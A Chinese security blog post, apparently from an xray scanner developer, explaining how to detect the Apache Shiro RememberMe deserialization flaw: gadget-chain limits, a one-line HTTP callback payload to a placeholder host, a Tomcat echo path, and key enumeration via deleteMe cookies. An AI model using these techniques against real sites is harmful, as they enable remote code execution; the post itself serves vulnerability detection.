Shiro RememberMe 漏洞检测的探索之路

网上相关分析已经很多，使用了 Shiro 框架的 Web 应用，登录成功后的用户信息会加密存储在 Cookie 中，后续可以从 Cookie 中读取用户认证信息，从而达到“记住我”的目的，简要流程如下。

Shiro 作为 Java 反序列化漏洞，想要完成漏洞利用必然少不了利用链的讨论。如果你之前有尝试复现过这个漏洞，大概率用过 CommonsCollections4 或 CommonsBeanutils 两条利用链，比如 vulhub 中该漏洞的靶站就使用了后者作为 gadget。作为一个初入 Java 安全的小白，我当时很疑惑 CommonsCollections 系列 gadget 到底有何区别，为何这里只能用上述的两条链，上面的利用链对目标环境的适用程度又是如何？这些问题不搞清楚，漏洞检测就无从谈起。作为知识储备，我花三分钟研究了一下常见的 Java 反序列化利用链，发现 ysoserial 中 Commons 相关利用链都是如下模子出来的:

不同的利用链从不同角度给了我们反序列化的一些思路，熟悉这个规律后，我们完全可以自己组合出一些另外的利用链。不过利用链不求多但求精，少一条无用的利用链就意味着可以减少一次漏洞探测的尝试。于是我将原有的 CommonsCollections1~7 进行了浓缩提纯，变成了如下新的 4 条利用链:

• CommonsCollectionsK1 (commons-Collections <= 3.2.1 && allowTemplates)

• CommonsCollectionsK2 (commons-Collections == 4.0 && allowTemplates)

• CommonsCollectionsK3 (commons-Collections <= 3.2.1)

• CommonsCollectionsK4 (commons-Collections == 4.0)

从分类上看分为两组，一组是 K1/K2，对应于 TemplatesImpl 的情况，一组是 K3/K4，对应于 ChainedTransformer 的情况。这 4 条链不仅可以完整的覆盖原有的 7 条链支持的场景，也可以在一些比较特殊的场景发挥作用，这些特殊的场景就包含接下来要讨论的 Shiro 的情况。

前面做了这么多准备，我们还是没有搞清楚上一节提出的问题，现在是时候正面它了！稍加跟进源码会发现，Shiro 最终反序列化调用的地方不是喜闻乐见的 ObjectInputStream().readObject ，而是用 ClassResolvingObjectInputStream 封装了一层，在该 stream 的实现中重写了 resolveClass 方法

我们发现原本应该调用 Class.forName(name) 的地方被替换成了几个 ClassLoader.loadClass(name) ，这两种加载类的方式有以下几点区别:

• forName 默认使用的是当前函数内的 ClassLoader， loadClass 的 ClassLoader 是自行指定的

• forName 类加载完成后默认会自动对 Class 执行 initialize 操作， loadClass 仅加载类不执行初始化

• forName 可以加载任意能找到的 Object Array， loadClass 只能加载原生(初始)类型的 Object Array

在这3点中，对我们漏洞利用影响最大的是最后一条。回看上一节说的那个规律，有一些利用链的终点是 ChainedTransformer，这个类中的有一个关键属性是 Transformer[] iTransformers，Shiro 的反序列化尝试加载这个 Transformer 的 Array 时，就会报一个找不到 Class 的错误，从而中断反序列化流程，而这就是 CommonsCollections 的大部分利用链都不可用的关键原因。

阅读代码可以感受到，重载的 resolveClass 本意是为了能支持从多个 ClassLoader 来加载类，而不是做反序列化防护，毕竟后续的版本也没有出现 WebLogic 式增加黑名单然后被绕过的情况 。这一无心插柳的行为，却默默阻挡了无数次不明所以的反序列化攻击，与此同时，CommonsCollections4 和 CommonsBeanutils 两个利用链由于采用了 TemplatesImpl 作为终点，避开了这个限制，才使得这个漏洞在渗透测试中有所应用。ysoserial 中的 CommonsCollections4 只能用于 CC4.0 版本，我把这个利用链进行了改进使其支持了 CC3 和 CC4 两个版本，形成了上面说的 K1/K2 两条链，这两条链就是我们处理 Shiro 这个环境的秘密武器。经过这些准备，我们已经从手无缚鸡之力的书生变为了身法矫健的少林武僧，可以直击敌方咽喉，一举拿下目标。万事具备，只欠东风。

我们最终的目的是实现 Shiro 反序列化漏洞的可靠检测，回顾一下漏洞检测常用的两种方法，一是回显，二是反连。基于上面的研究，我们可以借助 TemplatesTmpl 实现任意的代码执行，仅需一行代码就可以实现一个 HTTP 反连的 Payload

new URL("http://REVERSE-HOST").openConnection().getContent();

当漏洞存在时，反连平台就会收到一条 HTTP 的请求。与之类似的还有 URLDNS 这个利用链，只不过它的反连是基于 DNS 请求。实战中常用的还有 JRMP 相关的方法，我们可以使用类似 fastjson 的方法来做 Shiro 的检测。可惜的是，这些方法在目标网站无法出网时都束手无策，而漏洞回显是解决这个问题的不二法门。

与 Shiro 搭配最多的 Web 中间件是 Tomcat，因此我们的注意力就转移到了 Tomcat 回显上。这个话题实际上已经有很多师傅研究过了，李三师傅甚至整理了一个 Tomcat 不出网回显的连续剧 的文章。在学习了各位师傅的成果后，我发现公开的 Payload 都有这样一个问题——无法做到全版本 Tomcat 回显。此时我便萌生了一个想法，能否挖到一个新的利用链，使它能兼容所有的 Tomcat 大版本，基于此的漏洞检测就可以不费吹灰之力完成。然而挖掘新的利用链谈何容易，我怕是要陷入阅读 Tomcat 源码的漩涡中还不一定爬的出来，要是这个过程能自动完成就好了！自动化利用链挖掘应该有人做过吧，我不会是第一个吧，不会吧不会吧。

本着不重复造轮子的原则，稍加寻找不难发现，除了有大名鼎鼎的gadgetinspector，还有 c0y1 师傅写的java-object-searcher，一款内存对象搜索工具，非常符合我目前的需求。借助这个工具，我发现了一条在 Tomcat6,7,8,9 全版本都存在的利用链，只是不同版本的变量获取略有差异，大致流程如下:

currentThread -> threadGroup ->

  for(threads) -> target -> this$0 -> handler -> global -> 

    for(processors) -> req -> response

一些细节的坑点就不展开说了，总之就是各种反射各种 try/catch，我尽了最大的努力来提高其对各种 Tomcat 环境的兼容性，文章最后会将这个成果分享给大家。有了这个比较好用的回显 payload，搭配 K1/K2 来触发反序列化流程，就打造成了 xray 高级版/商业版中 Shiro 反序列化回显检测的核心逻辑，回显效果如下:

使用 xray 扫到过 xss 的同学应该都有所体会，xray 扫到的 xss 漏洞不一定可以直接弹框，但相关参数一定存在可控的代码注入，经常会遇到网站存在 waf 但 xray 依然可以识别出 xss 的情况。纵观整个 Shiro 反序列化的流程，步步都是在针尖上跳舞，一步出错便前功尽弃。倘若目标站点部署了 RASP 等主机防护手段，很有可能导致反序列化中断而与 RCE 擦肩而过，有没有什么办法能够像 xss 一样大幅的提高其检测能力的下限呢？和 l1nk3r 师傅交流了一下，他提到一种检测 Shiro Key 的方法很不错，据说原理来自 shiro_tool.jar ，详情可以参考这篇文章一种另类的 shiro 检测方式 ，我这里简单复述一下结论。

Key 错误时

Key 正确时

借助这种方法，我们就可以将 Shiro 的检测拆为两步

1. 探测 Shiro Key，如果探测成功，则报出秘钥可被枚举的漏洞；如果探测失败直接结束逻辑

2. 利用上一步获得的 Shiro Key，尝试 Tomcat 回显，如果成功再报出一个远程代码执行的漏洞

由于第一步的检测依靠的是 Shiro 本身的代码逻辑，可以完全不受环境的影响，只要目标使用的秘钥在我们待枚举的列表里，那么就至少可以把 Key 枚举出来，这就很大的提高了漏洞检测的下限。另外有个小插曲是，有的网站没法根据是否存在 deleteMe 来判断，而是需要根据 deleteMe 的数量来判断，举个例子，如果秘钥错误，返回的是两个 deleteMe ，反之返回的是一个 deleteMe 。这种情况我之前没有考虑到，所以在 xray 后续又发了一个小版本修复了一下这个问题。